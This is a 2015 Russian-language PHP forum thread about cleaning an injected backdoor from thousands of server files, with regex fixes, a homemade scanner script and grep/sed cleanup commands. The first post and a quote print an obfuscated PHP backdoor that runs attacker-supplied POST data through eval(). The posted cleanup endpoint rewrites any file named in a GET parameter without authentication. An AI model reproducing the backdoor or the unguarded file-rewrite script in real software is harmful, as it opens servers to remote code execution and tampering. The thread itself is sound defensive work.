Форумы портала PHP.SU » PHP » Регулярные выражения » Проблема с удалением вредоносного кода

Страниц (1): [1]
 

1. madfun - 12 Июля, 2015 - 19:13:05 - перейти к сообщению
Здравствуй, многие файлы на сервере заражены путем вставки
PHP:
скопировать код в буфер обмена
  1. <?PHP                                                                                                                                                                                                                                                               $qV="";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q26712b'])){eval(${$s20}['q26712b']);}?>
в шапку файлов, меняется только число. Пытаюсь чистить с помощью php скрипта, но
PHP:
скопировать код в буфер обмена
  1. preg_replace("/\/<\?php\s*\$qV=\\"stop_\\";\$s20=strtoupper\(\$qV\[4\].\$qV\[3\].\$qV\[2\].\$qV\[0\].\$qV\[1\]\);if\(isset\(\$\{\$s20\}\['[a-zA-Z0-9]{7}'\]\)\)\{eval\(\$\{\$s20\}\['[a-zA-Z0-9]{7}'\]\);\}\?>\//", "", $input_lines);
выдает ошибку, подскажите, пожалуйста, в чем проблема?
(Добавление)
Может можно просто через терминал почистить? Всего более 3к файлов заражено на сервере, вручную не реально чистить.
2. Строитель - 12 Июля, 2015 - 20:47:46 - перейти к сообщению
Хватит офтопить
Предостережение! Использование eval() может быть очень опасно, поскольку позволяет исполнить произвольный код[dot] Использование данной функции не рекомендуется[dot]
3. Мелкий - 12 Июля, 2015 - 21:12:34 - перейти к сообщению
Строитель, а вы собственно тему прочитать не пробовали? Слова "заражены" и "вредоносный код" никак не насторожили?

madfun пишет:
выдает ошибку

Собственно даже подсветка форума показывает косяк с кавычками. И, затем, слишком мало слэшей. Тот же $ является спецсимволом как для PHP, так и для PCRE.
Раскатите чистую копию из используемой VCS. Это быстрее, проще и надёжнее. Или из бекапа.
Если с какого-то перепуга нет ни того ни другого - то по мозгам вы, надеюсь, уже получили и впредь будет делаться и то и другое.
4. esterio - 13 Июля, 2015 - 18:28:41 - перейти к сообщению
если как сказал Мелкий нет ни VCS ни бекапа, то только хардкор. Ну вопервых: если код повторяеться изо файла в файл можно просто пройтись по файлам и сделать замену на "". Иначе парсить файлы например с помощью http://php.net/manual/ru/book.tokenizer.php например.
5. Незнайка_на_Луне - 13 Июля, 2015 - 19:22:31 - перейти к сообщению
madfun пишет:
Здравствуй, многие файлы на сервере заражены путем вставки
PHP:
скопировать код в буфер обмена
  1. <?PHP                                                                                                                                                                                                                                                               $qV="";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q26712b'])){eval(${$s20}['q26712b']);}?>
в шапку файлов, меняется только число. Пытаюсь чистить с помощью php скрипта, но
PHP:
скопировать код в буфер обмена
  1. preg_replace("/\/<\?php\s*\$qV=\\"stop_\\";\$s20=strtoupper\(\$qV\[4\].\$qV\[3\].\$qV\[2\].\$qV\[0\].\$qV\[1\]\);if\(isset\(\$\{\$s20\}\['[a-zA-Z0-9]{7}'\]\)\)\{eval\(\$\{\$s20\}\['[a-zA-Z0-9]{7}'\]\);\}\?>\//", "", $input_lines);
выдает ошибку, подскажите, пожалуйста, в чем проблема?
(Добавление)
Может можно просто через терминал почистить? Всего более 3к файлов заражено на сервере, вручную не реально чистить.


Есть самописный скрипт. Кидается в корень. Правда чистит только такие вредоносные скрипты, то есть .htaccess и прочее не трогает. Только бэкап сделайте, если решитесь использовать. Он не доработан, но большую часть находит. И, да, полезно поискать файлы одинакового размера и еще asset, кажется они используют, можно в первом скрипте заменить eval на него и проверить. В скриптах все большие php на маленькие надо заменить, а то это здесь автоматом заменяется...

main.php
PHP:
скопировать код в буфер обмена
  1. <style type="text/css">
  2.         body{ background-color:#CCFFCC; padding:5px;}
  3.         .phpError{ border:1px solid black; background-color:#FF0000; color:white; padding:5px; text-align:center; margin:5px;}
  4.         .divFound{ border:1px solid black; border-radius:10px; padding:5px;  background-color:#EEEEFF; color:#000000; text-align:left;}
  5.         .headers{ background-color:#003300; border:1px solid white; border-radius:10px; padding:10px; color:#EEEEFF; text-align:center;}
  6.         .height30{ height:30px;}
  7. </style>
  8. <html>
  9.         <head></head>
  10.         <body style>
  11.  
  12. <?PHP
  13.         //файлы программы
  14.  
  15.         $thisname='main.php';
  16.  
  17.         $thisname2='patascript.php';
  18.         req_dir(__DIR__, 0);
  19.         $id=1;
  20.         $str='';
  21.  
  22.         function req_dir($dir, $step){
  23.  
  24.                 global $thisname;
  25.                 global $thisname2;
  26.                 global $id;
  27.                 global $str;
  28.  
  29.                 $files = scandir($dir);
  30.  
  31.                 foreach ($files as $file){ //обход директории
  32.  
  33.                         if (($file!='..')and($file!='.')and($file!=$thisname)and($file!=$thisname2)){ //непроверяемые файлы
  34.  
  35.                                 if (is_dir($dir.'/'.$file)){ //если файл - директория
  36.  
  37.                                         //$step10 = 10*$step; //отступы для вывода файла (на случай если надо выводить все файлы)
  38.  
  39.                                         //for ($nah=0; $nah<$step10; $nah++) echo '&nbsp';
  40.  
  41.                                         //echo '<span style="color:blue">'.$file.'</span><br>';
  42.  
  43.                                         req_dir($dir.'/'.$file, $step+1); //проверка внутренней директории
  44.  
  45.                                 }
  46.  
  47.                                 else { //если файл - файл
  48.  
  49.                                         //$step10 = 10*$step;
  50.  
  51.                                         //for ($nah=0; $nah<$step10; $nah++) echo '&nbsp';
  52.  
  53.                                         //echo '<span style="color:black">'.$file.'</span><br>';
  54.                                          
  55.  
  56.                                         if (filesize($dir.'/'.$file)>3000000) echo '<div class="phpError" style="background-color:#FF6600;"><b>Размер файла '.$file.' больше 3MB. Чтение невозможно.</b></div>'; // файл больше 3Mb не проверяется (выводится сообщение)
  57.                                         else if ($str=file_get_contents($dir.'/'.$file)){ // иначе - читаем содержимое файла
  58.                                                 $delength=0; //счетчик количества символов, которые будут удалены из начала $str
  59.                                                 $j=0; //счетчик количеств скриптов вообще
  60.                                                 $flag=0;
  61.                                                 while (($pos=strpos($str,'<?PHP '))!==FALSE){ //находим очередной скрипт в файле ($pos-начало)
  62.                                                         $j++; //j - теперь номер данного скрипта
  63.  
  64.                                                         $end = strpos($str, '?>'); //находим конец скрипта
  65.                                                         if ($end<$pos) { //если конец скрипта раньше начала - выводим ошибку, завершаем чтение файла
  66.                                                                 echo '<div class="phpError"><b>Обнаружен конечный тег php раньше начального в '.$file.'. Дальнейшее чтение файла невозможно.</b></div>';
  67.                                                                 break;
  68.                                                         }
  69.  
  70.                                                         $phpz = substr($str, $pos+5, $end-5-$pos); //читаем содержимое скрипта
  71.  
  72.                                                         $ev = strpos($phpz, 'eval'); //проверяем есть ли eval
  73.  
  74.                                                         $strto = strpos($phpz, 'strto');
  75.  
  76.                                                        
  77.  
  78.                                                         if (($ev!==FALSE)){
  79.  
  80.                                                                 if ($flag==0) {$flag=1; echo '<!--div class="headers"><h2>'.$dir.'/'.$file.'</h2-->';}
  81.                                                                 $color = "#000000";
  82.  
  83.                                                                 if (($ev!==FALSE)and($strto!==FALSE)) $color="#FF0000";
  84.  
  85.                                                                 else if ($ev!==FALSE) $color="#FF6600";?>
  86.                                                                 <div class="divFound">
  87.  
  88.                                                                 <?PHP echo '<h3>'.$dir.'/'.$file.' (position='.($delength+$pos).') </h3>
  89.  
  90.                                                                 <span id="file_'.$id.'" style="color:'.$color.';">'.htmlspecialchars($phpz).'</span><br>';
  91.                                                                 $ser = urlencode($dir.'/'.$file);
  92.  
  93.                                                                 ?>
  94.  
  95.                                                                 <div class="height30"><button id="but_<?PHP echo $id;?>" onclick="protas('<?PHP echo $id;?>','<?PHP echo $ser;?>',<?PHP echo $j;?>)">delete</button></div></div>
  96.  
  97.                                                                 <?PHP $id++;
  98.  
  99.                                                                 echo '<br>';
  100.                                                         }
  101.  
  102.                                                         $delength+=$end+2;
  103.  
  104.                                                         $str=substr($str, $end+2);
  105.                                                 }
  106.                                                 if ($flag > 0){echo '<!--/div-->';}
  107.  
  108.                                         }
  109.  
  110.                                 }
  111.  
  112.                         }
  113.  
  114.                 }
  115.  
  116.         }
  117.  
  118. ?>
  119.  
  120. </body>
  121.  
  122. </html>
  123.  
  124. <script type="text/javascript">
  125.  
  126.  
  127.  
  128. function getXmlHttp(){
  129.  
  130.   var xmlhttp;
  131.  
  132.   try {
  133.  
  134.     xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
  135.  
  136.   } catch (e) {
  137.  
  138.     try {
  139.  
  140.       xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  141.  
  142.     } catch (E) {
  143.  
  144.       xmlhttp = false;
  145.  
  146.     }
  147.  
  148.   }
  149.  
  150.   if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
  151.  
  152.     xmlhttp = new XMLHttpRequest();
  153.  
  154.   }
  155.  
  156.   return xmlhttp;
  157.  
  158. }
  159.  
  160.  
  161. stop = 0;
  162.  
  163.  
  164. function protas(i, ffile, j) {
  165.   if (stop==0){
  166.  
  167.     var req = getXmlHttp()  
  168.  
  169.     req.onreadystatechange = function() {  
  170.  
  171.         if (req.readyState == 4) {
  172.  
  173.             if(req.status == 200) {
  174.  
  175.                                 res = req.responseText;
  176.                                 if (res=='save') document.getElementById("file_"+i).style.color="#0000FF";
  177.  
  178.                                 if (res=='save') document.getElementById("but_"+i).style.display="none";
  179.                                 else if (res=='cant') alert('ERROR!');
  180.                                 else alert(res);
  181.                                 stop = 0;
  182.  
  183.             }
  184.  
  185.         }
  186.  
  187.     }
  188.         stop=1;
  189.  
  190.     req.open('GET', 'patascript.php?file='+ffile+'&j='+j, true);  
  191.  
  192.     req.send(null);  // отослать запрос
  193.   }
  194.  
  195. }
  196.  
  197.  
  198.  
  199. </script>


patascript.php
PHP:
скопировать код в буфер обмена
  1. <?PHP
  2.         if ((!isset($_GET['file']))or(!isset($_GET['j']))) {echo 'empty'; exit;}
  3.         $file = urldecode($_GET['file']);
  4.         $j=$_GET['j'];
  5.         $jj=0;
  6.        
  7.         if ($str=file_get_contents($file)){
  8.                 $tmp='';
  9.                 while ((($pos=strpos($str,'<?PHP '))!==FALSE)and($jj<$j)){
  10.                         $jj++;                                                 
  11.                         $end = strpos($str, '?>');
  12.                         if ($end<$pos) {echo 'unread'; exit;}
  13.                         if ($jj<$j) $tmp.=substr($str,0,$end+2);
  14.                         else $tmp.=substr($str, 0, $pos+5).' '.' ?>';
  15.                         $str=substr($str, $end+2);
  16.                 }
  17.                 $s = $tmp.' '.$str;
  18.                 file_put_contents($file, $s);
  19.                 echo 'save';
  20.         }
  21.         else{
  22.                 echo 'cant';
  23.         }
  24.        
  25. ?>
6. madfun - 20 Июля, 2015 - 18:39:05 - перейти к сообщению
CODE (htmlphp):
скопировать код в буфер обмена
  1. grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/  \/  \?>/g'
  2.  
  3. grep -Rl stop_ . | xargs sed -i 's/<[?]php.*stop_.*[?]>/<\?php \/\/  \?>/g'

(Добавление)
Всем спасибо, вопрос был решен.

 

Powered by ExBB FM 1.0 RC1